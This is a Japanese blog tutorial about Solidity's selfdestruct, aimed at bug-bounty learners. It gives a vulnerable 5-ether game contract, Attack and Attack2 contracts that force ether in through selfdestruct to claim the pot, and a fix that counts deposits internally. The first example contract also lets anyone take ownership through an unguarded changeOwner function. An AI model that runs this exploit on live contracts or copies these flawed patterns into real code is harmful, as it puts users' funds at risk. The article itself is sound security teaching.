Hacking Smart Contract Solidity ブロックチェーン

[Solidity-Bug Bounty] SelfDestructを1からわかりやすく解説

かるでね

こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。

このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。

今回は「selfdestruct」についてわかりやすく紹介していきます。

スマートコントラクト開発スキルをより一層レベルアップをしたい時、「selfdestruct」への理解は必須になります。

また、「selfdestruct」はバグ・バウンティに参加する上でも必須の知識となるので、バグハンターを目指している人もぜひこの記事で学んでいってください。

バグ・バウンティが何かわからない人は以下の記事を読んでください。

セルフデストラクトとは

概要

言葉の通り、「自己破壊機能」という物騒なものです。

スマートコントラクトではどのように機能するかというと、コントラクト自体を終了させます。

この時コントラクトが保持しているetherを指定したアドレスに送金できます。

さらに、この時の送金は止めることができないようになっています。

selfdestructは誰でも実行できては危険なので、実行できるアドレスを制限する必要があります。

では実際にselfdestructを実装してみましょう。

コードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Bank {
    address public owner;
    mapping(address => uint) public balances;

		/// @notice ownerを変更する関数。
    function changeOwner() public {
        owner = msg.sender;
    }

    /// @notice 資金を預ける関数。
    function deposit() public payable  {
        balances[msg.sender] += msg.value;
    }

    /// @notice selfdestructを実行して、ownerアドレスに資金を送金する関数。
    function destruct() public {
        require(owner == msg.sender, "Only the owner can execute it.");
        selfdestruct(payable(owner));
    }

    /// @notice コントラクトが保持している資金を確認できる関数。
    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

selfdestructを実行することで、コントラクトに保存されている資金が指定されたアドレスに送金されたのが確認できましたね!

この時資金を送金してもfallback関数など他のどの関数も呼ばれることはありません。

さらに詳しく説明

簡単にselfdestructについてまとめたので、selfdestructがどのように機能しているのか詳しくみていきましょう。

バイトコードの削除

selfdestruct関数を実行すると、ブロックチェーンからコントラクトとバイトコードを消去し、指定されたアドレスに資金を送金し、ガス料金の一部を開発者に返金します。

バイトコードを削除することで、コントラクトの動作と呼び出し可能な関数がコントラクトに含まれなくなり。コントラクトの呼び出しができなくなります。

マイナスガス

そして驚いた方もいると思いますが、ガス代の一部を返金してもらえます。

これはマイナスガスと言って、ブロックチェーンからコントラクトを破棄することはチェーンの健全性に有益であり、イーサリアムコミュニティがselfdestructの使用を推奨しているため実装されています。

selfdestruct関数呼び出したトランザクションに使用された総ガスの半分が呼び出し元の関数に払い戻れ覚ます。

履歴を削除しない

また、selfdestructはそれまでのコントラクトの履歴を削除しません。

ブロックチェーン上に永遠に記録され変更することはできません。

セルフデストラクトを使用する場面

selfdestructが何をするものなのかは理解できましたが、どんな場面で使うのでしょうか?

この章では具体例を交えてselfdestructを使用する場面を紹介します。

攻撃を受けている時

コントラクトに脆弱性があり、悪意あるユーザーからの攻撃を受けて資金を抜かれている状態だとします。

早急に何かしらの対策を取る必要があるため、この時selfdestructが役に立ちます。

資金をどんどん抜かれている状態でselfdestructを実行することで、コントラクトを破棄してこれ以上資金が抜かれなくなります。

苦肉の策ですが、資金を全て抜かれてしまうよりはマシです。

コントラクトのアップデート

コントラクトを更新する際にも役に立ちます。

スマートコントラクトは更新できないんじゃないの?」という疑問の声が聞こえますが、確かに特定のコントラクトアドレスのコントラクトは更新できませんが、とある方法を取れば実質更新したような動作を実現できます。

上記の記事に詳しい仕組みなどが書かれていますが、要するに「コントラクトAがコントラクトBを呼び出して処理を実行しているとき、新しいコントラクトCをデプロイして、コントラクトAからコントラクトCを呼び出すようにできる」ということです。

この時古いコントラクトであるコントラクトBが不要になります。

ずっと放置するわけにもいかないので(資金がコントラクトBに残っている可能性もあります。)、selfdestructを使用してコントラクトを破棄してしまおうという考えです。

どうでしょうか拙い説明ですが理解できましたでしょうか?

コントラクトに脆弱性があるときも、selfdestructを使用することで安全なコントラクトに差し替えることができます。

物騒な名前の割にはいいやつだと認識もらえると嬉しいです。

セルフデストラクトのデメリット

selfdestructは役立つ反面もちろんデメリットも存在します。

資金が永遠に失われる

selfdestructを実行してコントラクトを破棄した後に、誰かが資金を破棄したコントラクトに送ると送った資金を永遠に取り出すことができず失ってしまいます。

開発者サイドはしっかり新しいコントラクトアドレスに資金を送金するようにスマートコントラクを開発するのはもちろんのこと、使用するユーザーも破棄されたコントラクトに資金を送金しないように気をつける必要があります。

ETTHのみ送金できる

selfdestructで送金されるのはEther(ETH)のみで、ERC721トークンに準拠するアルトコインNFTERC20トークンは送金することができません。

一度selfdestructが実行されると永遠にERC721トークンに準拠するアルトコインNFTERC20トークンを引き出すことができなくなってしまいます。

攻撃を受けている際はETH以外は諦めて、被害を最小限にとどめるしかありませんが、コントラクトのアップデートの際は十分に気をつけて実行する必要があります。

ユーザーや開発者に不信感を与える

selfdestructは何度も言っているように、コントラクトが保持している資金を全て指定したアドレスに送金し、この送金を止めることはできません。

そのためプロジェクト側が悪意を持ってselfdestructを実行すると、ユーザーが預けた資金を簡単に盗むことができてしまいます。

そのため一部ユーザーや開発者はselfdestruct関数に対して複雑な感情を持っています。

攻撃の対象になりうる

実はselfdestruct自体が攻撃の対象になる可能性があります。

詳しくは記事の後半で紹介しますが、悪意あるユーザーがselfdestructを呼び出して、コントラクトの処理を止めてしまうことが可能です。

セルフデストラクトの実装

1 etherずつ預けることができ、ちょいど5 ether預けたユーザーが勝利者になり、5 etherを受け取れるというコントラクトです。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Bank {
    uint public targetAmount = 5 ether;
    address public winner;

    /// @notice 資金を預ける関数。1 etherずつ預けることができる。
    function deposit() public payable  {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    /// @notice 預けている資金がtargetAmountに達した時、最後に預けたユーザーが引き出すことができる。
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

ここに2つのコントラクトを使用して攻撃を仕掛けます。

contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    /// @notice selfdestructを実行して、Bankコントラクトに1 ether以上を預ける。
    function attack() public payable {
        address payable bankAddr = payable(address(bank));
        selfdestruct(bankAddr);
    }
}

まずは1 ether以上の資金を送るためにselfdestructを実行して、コントラクト内の資金をBankコントラクトに渡します。

contract Attack2 {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {}

    /// @notice 1 etherを預けるとBankコントラクトのtargetAmountの値に達するため、資金を引き出すことができる。
    function attack() public payable {
        bank.deposit{value: msg.value}();
        bank.claimReward();
    }
}

Attackコントラクトは破棄されるので、Attack2コントラクトでdeposit関数を実行して1 etherを預け、その後claimReward関数で資金を引き出しています。

以下のような手順になります。

手順

  • ユーザーAがdeposit関数を実行して1 etherを預ける。(合計1 ether
  • ユーザーBがdeposit関数を実行して1 etherを預ける。(合計2 ether
  • 攻撃者がAttackコントラクトでselfdestructを実行して、コントラクト内の2 etherを強制的に送金する。(合計4 ether
  • 攻撃者がさらにAttack2コントラクを実行し、deposit関数を呼び出しclaimReward関数を実行することで資金を全て受け取れる。(合計5 ether

では動作を確認しましょう。

いかがでしょうか?

引き出せる上限値の5 etherよりも1 ether少ない4 etherまでを強制的に送り、最後は通常通り1 ether預けることで資金を引き出せてしまっています。

コード全体は以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Bank {
    uint public targetAmount = 5 ether;
    address public winner;

    /// @notice 資金を預ける関数。1 etherずつ預けることができる。
    function deposit() public payable  {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    /// @notice 預けている資金がtargetAmountに達した時、最後に預けたユーザーが引き出すことができる。
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    /// @notice selfdestructを実行して、Bankコントラクトに1 ether以上を預ける。
    function attack() public payable {
        address payable bankAddr = payable(address(bank));
        selfdestruct(bankAddr);
    }
}

contract Attack2 {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {}

    /// @notice 1 etherを預けるとBankコントラクトのtargetAmountの値に達するため、資金を引き出すことができる。
    function attack() public payable {
        bank.deposit{value: msg.value}();
        bank.claimReward();
    }
}

対処法

ではこのような攻撃の回避策はあるのでしょうか?

今回の場合はbalanceという変数を用意し、そこにmsg.valueを足し合わせていくことで対処できます。

address(this).balanceはコントラクト内の資金を参照するため、msg.valueを足し合わせたbalanceであればルール通り1 etherずつ預けた資金のみカウントされるため、不正に送られた資金を無視できます。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Bank {
    uint public targetAmount = 5 ether;
    address public winner;
    // 預けた資金をカウント。
    uint balance;

    /// @notice 資金を預ける関数。1 etherずつ預けることができる。
    function deposit() public payable  {
        require(msg.value == 1 ether, "You can only send 1 Ether");
				
        // msg.valueを足し合わせることで、不正に送られた資金を無視できる。
        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    /// @notice 預けている資金がtargetAmountに達した時、最後に預けたユーザーが引き出すことができる。
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    /// @notice selfdestructを実行して、Bankコントラクトに1 ether以上を預ける。
    function attack() public payable {
        address payable bankAddr = payable(address(bank));
        selfdestruct(bankAddr);
    }
}

contract Attack2 {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {}

    /// @notice 1 etherを預けるとBankコントラクトのtargetAmountの値に達するため、資金を引き出すことができる。
    function attack() public payable {
        bank.deposit{value: msg.value}();
        bank.claimReward();
    }
}

最後に

今回は「selfdestruct」について取り上げてきました。

いかがだったでしょうか?

selfdestructがどういうものか理解できた!」、「selfdestructの使い方がわかった!」、「selfdestructの危険性がわかった!

上記のような状態であれば幸いです。

ぜひ自分でも使ってさらに理解を深めてみてください!

もし何か質問などがあれば以下のTwitterなどから連絡ください!

普段はSolidityやブロックチェーン、Web3についての情報発信をしています。

Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!

参考

-Hacking, Smart Contract, Solidity, ブロックチェーン
-, ,